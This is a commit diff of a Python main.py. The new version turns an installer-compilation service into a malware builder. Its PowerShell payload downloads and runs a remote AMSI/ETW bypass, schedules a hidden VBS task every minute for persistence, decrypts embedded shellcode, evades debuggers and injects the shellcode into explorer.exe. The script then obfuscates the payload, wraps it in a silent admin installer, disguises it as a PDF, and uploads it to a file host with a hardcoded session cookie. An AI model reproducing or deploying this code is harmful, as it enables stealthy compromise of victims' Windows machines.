sigyllly commited on
Commit
1a250ca
·
verified ·
1 Parent(s): 0dce018

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +335 -338
main.py CHANGED
@@ -1,368 +1,365 @@
1
- from flask import Flask, send_file, jsonify
2
  import os
3
  import subprocess
4
- import json
5
  import random
 
6
  from datetime import datetime
7
- from pathlib import Path
8
- from threading import Thread
9
  import shutil
10
-
11
- app = Flask(__name__)
12
-
13
- # Configuration
14
  BASE_DIR = os.path.abspath(os.path.dirname(__file__))
15
  UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
16
  COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
17
- STATS_FILE = "download_stats.json"
18
  NSIS_COMPILER = "makensis"
19
- os.makedirs(UPLOAD_FOLDER, exist_ok=True)
20
- os.makedirs(COMPILE_FOLDER, exist_ok=True)
21
-
22
- # Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
23
- NSIS_SCRIPT_TEMPLATE = r"""
24
- ;NSIS Modern User Interface
25
- ;Basic Example Script
26
- ;Written by Joost Verburg
27
-
28
- ;--------------------------------
29
- ;Include Modern UI
30
-
31
- !include "MUI2.nsh"
32
-
33
- ;--------------------------------
34
- ;General
35
-
36
- ;Name and file
37
- Name "Modern UI Test"
38
- OutFile "Basic.exe"
39
- Unicode True
40
-
41
- ;Default installation folder
42
- InstallDir "$LOCALAPPDATA\Modern UI Test"
43
-
44
- ;Get installation folder from registry if available
45
- InstallDirRegKey HKCU "Software\Modern UI Test" ""
46
-
47
- ;Request application privileges for Windows Vista
48
- RequestExecutionLevel user
49
-
50
- ;--------------------------------
51
- ;Interface Settings
52
-
53
- !define MUI_ABORTWARNING
54
-
55
- ;--------------------------------
56
- ;Pages
57
-
58
- ; !insertmacro MUI_PAGE_LICENSE "${NSISDIR}\Docs\Modern UI\License.txt"
59
- !insertmacro MUI_PAGE_COMPONENTS
60
- !insertmacro MUI_PAGE_DIRECTORY
61
- !insertmacro MUI_PAGE_INSTFILES
62
-
63
- !insertmacro MUI_UNPAGE_CONFIRM
64
- !insertmacro MUI_UNPAGE_INSTFILES
65
-
66
- ;--------------------------------
67
- ;Languages
68
-
69
- !insertmacro MUI_LANGUAGE "English"
70
-
71
- ;--------------------------------
72
- ;Installer Sections
73
-
74
- Section "Dummy Section" SecDummy
75
-
76
- SetOutPath "$INSTDIR"
77
-
78
- ;ADD YOUR OWN FILES HERE...
79
-
80
- ;Store installation folder
81
- WriteRegStr HKCU "Software\Modern UI Test" "" $INSTDIR
82
-
83
- ;Create uninstaller
84
- WriteUninstaller "$INSTDIR\Uninstall.exe"
85
-
86
- SectionEnd
87
-
88
- ;--------------------------------
89
- ;Descriptions
90
-
91
- ;Language strings
92
- LangString DESC_SecDummy ${LANG_ENGLISH} "A test section."
93
-
94
- ;Assign language strings to sections
95
- !insertmacro MUI_FUNCTION_DESCRIPTION_BEGIN
96
- !insertmacro MUI_DESCRIPTION_TEXT ${SecDummy} $(DESC_SecDummy)
97
- !insertmacro MUI_FUNCTION_DESCRIPTION_END
98
-
99
- ;--------------------------------
100
- ;Uninstaller Section
101
-
102
- Section "Uninstall"
103
-
104
- ;ADD YOUR OWN FILES HERE...
105
-
106
- Delete "$INSTDIR\Uninstall.exe"
107
-
108
- RMDir "$INSTDIR"
109
-
110
- DeleteRegKey /ifempty HKCU "Software\Modern UI Test"
111
-
112
- SectionEnd
113
- """
114
-
115
- # Greatly expanded version details dictionary
116
- VERSION_DETAILS = {
117
- "ProductName": [
118
- "Gametoy Health Center", "Omega Insight Pro", "Visionary Game System", "TechMatrix Suite Premium",
119
- "Nebula Installer Plus", "GameForge Studio", "Digital Nexus Hub", "CyberPulse Platform",
120
- "VirtualCore Manager", "GameStream Elite", "OmegaForge Professional", "TechVision Suite",
121
- "GameMatrix Central", "CloudPulse Gaming", "NexusCore Platform", "GameWave Professional",
122
- "Cyber Matrix Hub", "VisionForge Elite", "PulseTech Gaming", "StreamCore Professional",
123
- "TechPro Suite", "GameCore Elite", "CloudMatrix Enterprise", "VisionWave Platform",
124
- "PulseForge Studio", "NexusWave Pro", "CyberCore Premium", "GamePulse Advanced",
125
- "TechStream Ultimate", "OmegaCore Enterprise"
126
- ],
127
- "CompanyName": [
128
- "Game Health Systems Inc.", "TechWave Innovations Ltd.", "Omega Systems International",
129
- "Visionary Game Corporation", "Nebula Technologies Group", "GameForge Solutions",
130
- "Digital Nexus Corporation", "CyberPulse Technologies", "VirtualCore Solutions",
131
- "GameStream Enterprises", "OmegaForge Technologies", "TechVision Innovations",
132
- "GameMatrix Solutions", "CloudPulse Interactive", "NexusCore Technologies",
133
- "GameWave Digital", "CyberMatrix Solutions", "VisionForge Systems",
134
- "PulseTech Interactive", "StreamCore Solutions", "TechPro Enterprises",
135
- "GameCore Solutions Ltd.", "CloudMatrix Systems", "VisionWave Technologies",
136
- "PulseForge Interactive", "NexusWave Digital", "CyberCore Solutions",
137
- "GamePulse Technologies", "TechStream Systems", "OmegaCore Industries"
138
- ],
139
- "LegalCopyright": [
140
- "Copyright © 2024 Gametoy Innovations - All Rights Reserved",
141
- "Copyright © 2024 Visionary Game Co. - Professional Edition",
142
- "Copyright © 2024 Omega Systems - Enterprise License",
143
- "Copyright © 2024 TechWave - Premium License",
144
- "Copyright © 2024 Nebula Technologies - Commercial Use",
145
- "Copyright © 2024 GameForge Solutions - Professional License",
146
- "Copyright © 2024 Digital Nexus - Enterprise Edition",
147
- "Copyright © 2024 CyberPulse - Commercial License",
148
- "Copyright © 2024 VirtualCore - Premium Edition",
149
- "Copyright © 2024 GameStream - Professional Use",
150
- "Copyright © 2024 TechPro - Enterprise License",
151
- "Copyright © 2024 GameCore - Commercial Edition",
152
- "Copyright © 2024 CloudMatrix - Professional License",
153
- "Copyright © 2024 VisionWave - Premium Use",
154
- "Copyright © 2024 PulseForge - Enterprise Edition"
155
- ],
156
- "FileDescription": [
157
- "Professional Gaming Platform Installer", "Advanced Game Management System",
158
- "Enterprise Gaming Solution Suite", "Premium Game Development Tools",
159
- "Professional Game Analytics Platform", "Advanced Gaming Framework",
160
- "Enterprise Development Environment", "Professional Gaming SDK",
161
- "Advanced Game Publishing Tools", "Premium Gaming Platform",
162
- "Professional Development Suite", "Enterprise Gaming Framework",
163
- "Advanced Game Management Tools", "Premium Development Platform",
164
- "Professional Gaming Environment", "Enterprise Solution Suite",
165
- "Advanced Development Framework", "Premium Management System",
166
- "Professional Analytics Platform", "Enterprise Gaming Tools"
167
- ]
168
  }
169
 
170
- def generate_product_version():
171
- """
172
- Generates a realistic product version number with the format major.minor.patch.build
173
- Major: 1-5
174
- Minor: 0-15
175
- Patch: 0-99
176
- Build: 1000-9999
177
- """
178
- major = random.randint(1, 5)
179
- minor = random.randint(0, 15)
180
- patch = random.randint(0, 99)
181
- build = random.randint(1000, 9999)
182
- return f"{major}.{minor}.{patch}.{build}"
183
 
184
- def generate_file_version():
185
- """
186
- Generates a unique file version with format major.minor.build.revision
187
- """
188
- versions = []
189
- for _ in range(30): # Increased to 30 versions
190
- major = random.randint(1, 10)
191
- minor = random.randint(0, 99)
192
- build = random.randint(100, 999)
193
- revision = random.randint(0, 99999)
194
- versions.append(f"{major}.{minor}.{build}.{revision}")
195
- return versions
196
-
197
- # Add generated file versions to VERSION_DETAILS
198
- VERSION_DETAILS["FileVersion"] = generate_file_version()
199
-
200
- def generate_random_version_details():
201
- """Generates random meaningful version details for each build."""
202
- return {
203
- "ProductName": random.choice(VERSION_DETAILS["ProductName"]),
204
- "CompanyName": random.choice(VERSION_DETAILS["CompanyName"]),
205
- "LegalCopyright": random.choice(VERSION_DETAILS["LegalCopyright"]),
206
- "FileVersion": random.choice(VERSION_DETAILS["FileVersion"]),
207
- "ProductVersion": generate_product_version(),
208
- "FileDescription": random.choice(VERSION_DETAILS["FileDescription"]),
209
- }
210
-
211
- def generate_nsi_script():
212
- """Generates the NSI script with random version details and two different random executables."""
213
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
214
- installer_output = os.path.join(UPLOAD_FOLDER, f"setup_{timestamp}.exe")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
215
 
216
- if not os.access(UPLOAD_FOLDER, os.W_OK):
217
- raise PermissionError(f"Cannot write to the directory {UPLOAD_FOLDER}")
218
-
219
- # Generate version details
220
- version_details = generate_random_version_details()
221
-
222
- # Choose random .exe files from the Programs folder
223
- programs_folder = "/files/programs"
224
- exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
225
 
226
- # Check if there are enough .exe files
227
- if len(exe_files) < 2:
228
- raise FileNotFoundError(f"Not enough .exe files found in the folder {programs_folder}")
229
-
230
- # Select two different executable files
231
- random_exe_1 = random.choice(exe_files)
232
- exe_files.remove(random_exe_1) # Remove the first selected .exe
233
- random_exe_2 = random.choice(exe_files)
234
-
235
- random_exe_1_path = os.path.join(programs_folder, random_exe_1)
236
- random_exe_2_path = os.path.join(programs_folder, random_exe_2)
237
-
238
- # Replace all placeholders in the template
239
- nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
240
- nsi_content = nsi_content.replace("${NSISDIR}", "${NSISDIR}")
241
-
242
- # Replace version details
243
- for key, value in version_details.items():
244
- nsi_content = nsi_content.replace(f"{{{{{key}}}}}", value)
245
-
246
- # Replace the placeholders for the random executable files
247
- nsi_content = nsi_content.replace('{{random_program}}', random_exe_1_path, 1)
248
- nsi_content = nsi_content.replace('{{random_program}}', random_exe_2_path, 1)
249
-
250
- # Save the script
251
  nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
252
- with open(nsi_file_path, 'w') as nsi_file:
253
- nsi_file.write(nsi_content)
254
-
255
  return nsi_file_path, installer_output
256
 
257
- def cleanup_folders():
258
- """Clean up both compile and upload folders"""
259
- for folder in [COMPILE_FOLDER, UPLOAD_FOLDER]:
260
- for file in os.listdir(folder):
261
- file_path = os.path.join(folder, file)
262
- try:
263
- if os.path.isfile(file_path):
264
- os.unlink(file_path)
265
- elif os.path.isdir(file_path):
266
- shutil.rmtree(file_path)
267
- except Exception as e:
268
- print(f"Error: {e}")
269
-
270
- def load_stats():
271
- """Load download statistics from file"""
272
- if os.path.exists(STATS_FILE):
273
- with open(STATS_FILE, 'r') as f:
274
- return json.load(f)
275
- return {"downloads": 0, "last_download": None}
276
-
277
- def save_stats(stats):
278
- """Save download statistics to file"""
279
- with open(STATS_FILE, 'w') as f:
280
- json.dump(stats, f)
281
-
282
  def compile_nsi_script(nsi_file_path):
283
- """Compile the NSI script using NSIS compiler"""
284
  try:
285
- # Use just the command name instead of full path
286
  compile_cmd = [NSIS_COMPILER, nsi_file_path]
287
  compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
288
  if compile_result.returncode != 0:
289
- print(f"NSIS Compile Error: {compile_result.stderr}")
290
- return None
291
  return compile_result
292
  except subprocess.CalledProcessError as e:
293
- print(f"Compilation failed: {str(e)}")
294
- return None
295
  except Exception as e:
296
- print(f"Unexpected error during compilation: {str(e)}")
297
- return None
298
-
299
- def get_current_installer():
300
- """Get the path of the most recent installer"""
301
- files = list(Path(UPLOAD_FOLDER).glob('*.exe'))
302
- if not files:
303
- return None
304
- return str(max(files, key=os.path.getctime))
305
-
306
- def generate_and_compile_new():
307
- """Generate and compile a new installer"""
308
- nsi_file_path, installer_output = generate_nsi_script()
309
- compile_nsi_script(nsi_file_path)
310
-
311
- @app.route('/download/cnVuLmNtZA==')
312
- def download_file():
313
- """Handle file download requests"""
314
- stats = load_stats()
315
-
316
- file_path = get_current_installer()
317
- if not file_path:
318
- nsi_file_path, installer_output = generate_nsi_script()
319
- compile_nsi_script(nsi_file_path)
320
- file_path = installer_output
321
 
322
- if not os.path.exists(file_path):
323
- return "Installer file not found", 404
324
-
325
- response = send_file(file_path, as_attachment=True)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
326
 
327
- def after_request(response):
328
- stats['downloads'] += 1
329
- stats['last_download'] = datetime.now().isoformat()
330
- save_stats(stats)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
331
 
332
- cleanup_folders()
333
- Thread(target=lambda: generate_and_compile_new()).start()
334
- return response
335
-
336
- return after_request(response)
337
-
338
- @app.route('/show')
339
- def show_stats():
340
- """Show download statistics"""
341
- stats = load_stats()
342
- return jsonify({
343
- "total_downloads": stats['downloads'],
344
- "last_download": stats['last_download']
345
- })
346
-
347
- @app.route('/')
348
- def home():
349
- """Home page with links to available endpoints"""
350
- return """
351
- <h1>File Compiler Service</h1>
352
- <ul>
353
- <li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled installer</li>
354
- <li><a href="/show">/show</a> - View download statistics</li>
355
- </ul>
356
- """
357
 
358
- if __name__ == '__main__':
359
- # Clean up on startup
360
- cleanup_folders()
361
-
362
- # Compile initial installer
363
- print("Creating initial installer...")
364
- nsi_file_path, installer_output = generate_nsi_script()
365
- compile_nsi_script(nsi_file_path)
366
-
367
- # Start the Flask application
368
- app.run(debug=True, host='0.0.0.0', port=7860)
 
 
1
  import os
2
  import subprocess
 
3
  import random
4
+ import string
5
  from datetime import datetime
6
+ from flask import jsonify, send_file, current_app
 
7
  import shutil
8
+ import tempfile
9
+ import requests
10
+ import json
11
+ #https://ambelo-benjamin.hf.space/upload
12
  BASE_DIR = os.path.abspath(os.path.dirname(__file__))
13
  UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
14
  COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
 
15
  NSIS_COMPILER = "makensis"
16
+ OBFUSCATOR_SCRIPT = "Obfus\\main.ps1"
17
+
18
+ SERVER_URL = "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-send"
19
+ HEADERS = {
20
+ "Host": "chiselapp.com",
21
+ "Connection": "keep-alive",
22
+ "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytI7POOg3X2lgL1Yr",
23
+ "sec-ch-ua-platform": '"Windows"',
24
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
25
+ "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
26
+ "sec-ch-ua-mobile": "?0",
27
+ "Accept": "*/*",
28
+ "Origin": "https://chiselapp.com",
29
+ "Sec-Fetch-Site": "same-origin",
30
+ "Sec-Fetch-Mode": "cors",
31
+ "Sec-Fetch-Dest": "empty",
32
+ "Referer": "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat",
33
+ "Accept-Encoding": "gzip, deflate, br, zstd",
34
+ "Accept-Language": "en-US,en;q=0.9,hi;q=0.8",
35
+ "Cookie": "fossil-9889a3796fb4c84c=0F6BFEC5A6792BA30BBCFC1F12F0E31772D58BD8F0B1CAE22E%2F9889a3796fb4c84c%2Fyolovi5126; PHPSESSID=7onhpb9ebdpja4nd20ulce9b63"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
36
  }
37
 
38
+ def generate_random_string(length=8):
39
+ return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
 
 
 
 
 
 
 
 
 
 
 
40
 
41
+ def obfuscate_powershell_script(ps1_path):
42
+ try:
43
+ cmd = f'powershell -EP Bypass -f "{OBFUSCATOR_SCRIPT}"'
44
+ process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
45
+ process.stdin.write(f"{ps1_path}\n")
46
+ process.stdin.flush()
47
+ stdout, stderr = process.communicate()
48
+ if process.returncode != 0:
49
+ raise Exception(f"Error obfuscating PowerShell script: {stderr}")
50
+ obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
51
+ return obfuscated_file
52
+ except Exception as e:
53
+ raise Exception(f"Obfuscation failed: {str(e)}")
54
+
55
+ def generate_nsi_script(folder_path, bin_file, ps1_file):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
56
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
57
+ installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
58
+
59
+ # NSIS script template
60
+ NSIS_SCRIPT_TEMPLATE = r"""
61
+ ; NeuraScope Insight Installer Script
62
+ !include "MUI2.nsh"
63
+ !include "LogicLib.nsh"
64
+ ; Basic definitions
65
+ Name "ProductName"
66
+ OutFile "{installer_output}"
67
+ InstallDir "$WINDIR\..\ProgramData\Installer"
68
+ RequestExecutionLevel admin
69
+ SetCompressor /SOLID lzma
70
+ SetCompressorDictSize 96
71
+ SetDatablockOptimize ON
72
+ ; Interface settings
73
+ !define MUI_ICON "C:\Users\Albert\Downloads\app.ico"
74
+ !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
75
+ !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
76
+ ; Pages
77
+ !insertmacro MUI_PAGE_WELCOME
78
+ !insertmacro MUI_PAGE_INSTFILES
79
+ !insertmacro MUI_LANGUAGE "English"
80
+ ; Basic Version Information
81
+ VIProductVersion "1.0.0.0"
82
+ VIAddVersionKey "ProductName" "ProductName"
83
+ VIAddVersionKey "CompanyName" "CompanyName"
84
+ VIAddVersionKey "LegalCopyright" "LegalCopyright"
85
+ VIAddVersionKey "FileVersion" "1.0.0.0"
86
+ VIAddVersionKey "FileDescription" "FileDescription"
87
+ ShowInstDetails hide
88
+ AutoCloseWindow true
89
+ Section "MainSection" SEC01
90
+ SetDetailsPrint none
91
+ SetOutPath "$WINDIR\..\ProgramData\Installer"
92
+ File "{bin_file}"
93
+ File "{ps1_file}"
94
+ ExecShell "" "$WINDIR\..\ProgramData\Installer\\Verification.ps1" SW_HIDE
95
+ SetAutoClose true
96
+ SectionEnd
97
+ """
98
 
99
+ script_content = NSIS_SCRIPT_TEMPLATE.format(
100
+ installer_output=installer_output,
101
+ bin_file=bin_file,
102
+ ps1_file=ps1_file,
103
+ )
 
 
 
 
104
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
105
  nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
106
+ with open(nsi_file_path, 'w') as file:
107
+ file.write(script_content)
108
+
109
  return nsi_file_path, installer_output
110
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
111
  def compile_nsi_script(nsi_file_path):
 
112
  try:
 
113
  compile_cmd = [NSIS_COMPILER, nsi_file_path]
114
  compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
115
  if compile_result.returncode != 0:
116
+ raise Exception(f"NSIS Compile Error: {compile_result.stderr}")
 
117
  return compile_result
118
  except subprocess.CalledProcessError as e:
119
+ raise Exception(f"Compilation failed: {str(e)}")
 
120
  except Exception as e:
121
+ raise Exception(f"Unexpected error during compilation: {str(e)}")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
122
 
123
+ def upload_file_to_server(file_path):
124
+ try:
125
+ # Rename the file to have a .pdf extension
126
+ new_file_path = file_path.replace('.exe', '.pdf')
127
+ os.rename(file_path, new_file_path)
128
+
129
+ # Ensure the file exists
130
+ if not os.path.exists(new_file_path):
131
+ raise FileNotFoundError(f"File {new_file_path} not found.")
132
+
133
+ # Prepare the file and data for upload
134
+ file = {'file': (os.path.basename(new_file_path), open(new_file_path, 'rb'), 'application/pdf')}
135
+ # Additional form data
136
+ data = {
137
+ 'lmtime': '2024-12-31T18:33:58'
138
+ }
139
+
140
+ # Send the POST request with file and form data
141
+ response = requests.post(SERVER_URL, headers=HEADERS, files=file, data=data)
142
+
143
+ # Check the response
144
+ if response.status_code == 200:
145
+ # Assuming the response contains the URL with the ID
146
+ json_file = 'file_info.json'
147
+
148
+ # Check if the file_info.json exists
149
+ if os.path.exists(json_file):
150
+ with open(json_file, 'r') as f:
151
+ file_info = json.load(f)
152
+ else:
153
+ file_info = {}
154
+
155
+ # Initialize or increment the init_ID (last_id)
156
+ if 'init_ID' not in file_info:
157
+ file_info['init_ID'] = 1 # Start with ID 1 if not present
158
+ else:
159
+ file_info['init_ID'] += 1 # Increment the ID for the next upload
160
+
161
+ # Get the current ID to be used for the next upload
162
+ current_id = file_info['init_ID']
163
+
164
+ # Generate the download URL for the uploaded file using the current ID
165
+ download_url = f"https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-download/{current_id}/{os.path.basename(new_file_path)}"
166
+
167
+ # Update the JSON with the new entry for this upload
168
+ file_info[current_id] = {
169
+ 'file_name': os.path.basename(new_file_path),
170
+ 'url': download_url
171
+ }
172
+
173
+ # Write the updated file_info to the JSON file
174
+ with open(json_file, 'w') as f:
175
+ json.dump(file_info, f, indent=4)
176
+
177
+ return download_url
178
+ else:
179
+ raise Exception(f"Failed to send request. Status Code: {response.status_code}\n{response.text}")
180
+ except Exception as e:
181
+ raise Exception(f"File upload failed: {str(e)}")
182
 
183
+ def process_request(request):
184
+ temp_dir = None # Initialize temp_dir to be used in the finally block
185
+ try:
186
+ # Save the incoming binary file
187
+ if 'file' not in request.files:
188
+ raise ValueError("No file part in the request")
189
+
190
+ file = request.files['file']
191
+ if file.filename == '':
192
+ raise ValueError("No selected file")
193
+
194
+ random_folder = generate_random_string()
195
+ temp_dir = tempfile.mkdtemp(prefix=random_folder, dir=UPLOAD_FOLDER)
196
+ bin_path = os.path.join(temp_dir, file.filename)
197
+ file.save(bin_path)
198
+
199
+ # Extract the file name from the full binary path
200
+ bin_file_name = os.path.basename(bin_path)
201
+
202
+ # Create the PowerShell script with the provided content
203
+ ps1_content = f'''
204
+ # Download and execute the script from the provided URL
205
+ iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/Null-AMSI/refs/heads/main/Invoke-NullAMSI.ps1)
206
+
207
+ # Run the Invoke-NullAMSI command
208
+ Invoke-NullAMSI
209
+
210
+ Invoke-NullAMSI -etw
211
+
212
+ # Define the content of the VBScript
213
+ $vbsContent = @'
214
+ Set objShell = CreateObject("WScript.Shell")
215
+ objShell.Run "powershell -EP Bypass -File \\"C:\\ProgramData\\Installer\\Verification.ps1\\"", 0, True
216
+ '@
217
+
218
+ # Define the file path for the .vbs file in the desired location
219
+ $vbsFilePath = "C:\\ProgramData\\Installer\\0.vbs"
220
+
221
+ # Write the content to the .vbs file
222
+ $vbsContent | Set-Content -Path $vbsFilePath -Encoding ASCII
223
+
224
+ Write-Host "VBScript file created at: $vbsFilePath"
225
+
226
+ $Action = New-ScheduledTaskAction -Execute "C:\\ProgramData\\Installer\\0.vbs"
227
+ $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
228
+ Register-ScheduledTask -TaskName "HiPPo Setting" -Action $Action -Trigger $Trigger -Force
229
+
230
+ # Define a fixed 16-byte key for encryption (fixed key as "MyFixedEncryptionKey")
231
+ $keyBytes = [System.Text.Encoding]::UTF8.GetBytes("MyFixedEncryptionKey")
232
+
233
+ # Ensure the key length is 16 bytes (AES requires 16, 24, or 32 bytes)
234
+ if ($keyBytes.Length -gt 16) {{
235
+ $keyBytes = $keyBytes[0..15] # Trim the key to 16 bytes if it's longer
236
+ }}
237
+ elseif ($keyBytes.Length -lt 16) {{
238
+ # If the key is too short, pad it with zeros to make it 16 bytes
239
+ $keyBytes = $keyBytes + (New-Object Byte[] (16 - $keyBytes.Length))
240
+ }}
241
+
242
+ # Function to download the encrypted binary from the server
243
+ function Download-EncryptedShellcode {{
244
+ param([string]$url)
245
+ # Download the encrypted binary file directly into memory as a byte array
246
+ $response = Invoke-WebRequest -Uri $url -UseBasicParsing
247
+ return $response.Content
248
+ }}
249
+
250
+ # Read the encrypted shellcode from a local binary file
251
+ $encryptedBuf = [System.IO.File]::ReadAllBytes("C:\\ProgramData\\Installer\\{bin_file_name}")
252
+
253
+ # Create an AES encryption object
254
+ $aes = [System.Security.Cryptography.Aes]::Create()
255
+
256
+ # Set the decryption key and initialization vector (IV)
257
+ $aes.Key = $keyBytes
258
+ $aes.IV = $keyBytes[0..15] # Use the first 16 bytes of the key for the IV
259
+
260
+ # Create a memory stream to hold the decrypted data
261
+ $memoryStream = New-Object System.IO.MemoryStream
262
+ $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
263
+
264
+ # Decrypt the encrypted data into the memory stream
265
+ $cryptoStream.Write($encryptedBuf, 0, $encryptedBuf.Length)
266
+ $cryptoStream.Close()
267
+
268
+ # Get the decrypted shellcode
269
+ $buf = $memoryStream.ToArray()
270
+
271
+ # Anti-debugging mechanism
272
+ function IsDebuggerPresent {{
273
+ $IsDebuggerPresentCode = @"
274
+ using System;
275
+ using System.Runtime.InteropServices;
276
+
277
+ public class DebugHelper {{
278
+ [DllImport(\\"kernel32.dll\\")]
279
+ public static extern bool IsDebuggerPresent();
280
+ }}
281
+ "@
282
+ $debugHelper = Add-Type -TypeDefinition $IsDebuggerPresentCode -PassThru
283
+ return $debugHelper::IsDebuggerPresent()
284
+ }}
285
+
286
+ if (IsDebuggerPresent) {{
287
+ Write-Host "Debugger detected. Exiting."
288
+ exit
289
+ }}
290
+
291
+ # Inject shellcode into a target process (example: explorer.exe)
292
+ $Win32APICode = @"
293
+ using System;
294
+ using System.Runtime.InteropServices;
295
+
296
+ public class Win32API {{
297
+ [DllImport(\\"kernel32.dll\\", SetLastError = true, ExactSpelling = true)]
298
+ public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
299
+
300
+ [DllImport(\\"kernel32.dll\\", SetLastError = true)]
301
+ public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
302
+
303
+ [DllImport(\\"kernel32.dll\\", SetLastError = true)]
304
+ public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
305
+
306
+ [DllImport(\\"kernel32.dll\\", SetLastError = true)]
307
+ public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
308
+
309
+ [DllImport(\\"kernel32.dll\\", SetLastError = true)]
310
+ [return: MarshalAs(UnmanagedType.Bool)]
311
+ public static extern bool CloseHandle(IntPtr hObject);
312
+ }}
313
+ "@
314
+ $win32api = Add-Type -TypeDefinition $Win32APICode -PassThru
315
+
316
+ # Target process (explorer.exe) injection
317
+ $targetProcess = Get-Process explorer | Select-Object -First 1
318
+ $processHandle = $win32api::OpenProcess(0x1F0FFF, $false, $targetProcess.Id)
319
+
320
+ # Allocate memory in the target process
321
+ $size = 0x1000
322
+ if ($buf.Length -gt $size) {{ $size = $buf.Length }}
323
+ $remoteMemory = $win32api::VirtualAllocEx($processHandle, [IntPtr]::Zero, $size, 0x3000, 0x40)
324
+
325
+ # Write the shellcode into the allocated memory
326
+ $bytesWritten = [IntPtr]::Zero
327
+ $win32api::WriteProcessMemory($processHandle, $remoteMemory, $buf, $buf.Length, [ref]$bytesWritten)
328
+
329
+ # Create a remote thread to execute the shellcode
330
+ $threadId = [IntPtr]::Zero
331
+ $win32api::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $remoteMemory, [IntPtr]::Zero, 0, [ref]$threadId)
332
+
333
+ # Close the process handle
334
+ $win32api::CloseHandle($processHandle)
335
+
336
+ Write-Host "Shellcode injection completed successfully."
337
+ '''
338
+ ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
339
+ with open(ps1_path, 'w') as ps1_file:
340
+ ps1_file.write(ps1_content)
341
+
342
+ # Obfuscate the PowerShell script
343
+ obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
344
+
345
+ # Rename the obfuscated file to Verification.ps1
346
+ verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
347
+ os.rename(obfuscated_ps1_path, verification_ps1_path)
348
+
349
+ # Generate and compile the NSIS script
350
+ nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
351
+ compile_nsi_script(nsi_file_path)
352
 
